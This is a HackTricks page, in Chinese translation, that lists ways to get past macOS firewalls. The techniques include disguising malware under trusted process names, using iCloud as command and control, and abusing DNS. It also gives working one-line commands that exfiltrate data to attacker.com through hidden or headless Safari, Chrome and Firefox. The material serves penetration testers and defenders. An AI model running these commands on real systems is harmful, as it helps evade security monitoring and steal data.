macOS Bypassing Firewalls

支持HackTricks

• 查看订阅计划!

• 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @hacktricks_live.

• 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享黑客技巧。

发现的技术

以下技术在一些macOS防火墙应用程序中被发现可行。

滥用白名单名称

• 例如，将恶意软件命名为众所周知的macOS进程名称，如**launchd**

合成点击

• 如果防火墙要求用户授权，使恶意软件点击允许

使用苹果签名的二进制文件

• 像**curl，还有其他如whois**

众所周知的苹果域名

防火墙可能允许连接到众所周知的苹果域名，如**apple.com或icloud.com**。iCloud可能被用作C2。

通用绕过

一些尝试绕过防火墙的想法

检查允许的流量

了解允许的流量将帮助您识别潜在的白名单域或允许访问它们的应用程序。

lsof -i TCP -sTCP:ESTABLISHED

滥用 DNS

DNS 解析是通过 mdnsreponder 签名应用程序完成的，很可能会被允许与 DNS 服务器联系。

通过浏览器应用程序

• oascript

tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell

• 谷歌浏览器

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

• 火狐

firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"

• Safari

open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

通过进程注入

如果你能够将代码注入到一个允许连接到任何服务器的进程中，那么你可以绕过防火墙的保护：

macOS Process Abuse

参考资料

• https://www.youtube.com/watch?v=UlT5KFTMn2k

支持 HackTricks

• 查看订阅计划!

• 加入 💬 Discord 群组 或 电报群组 或 关注我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。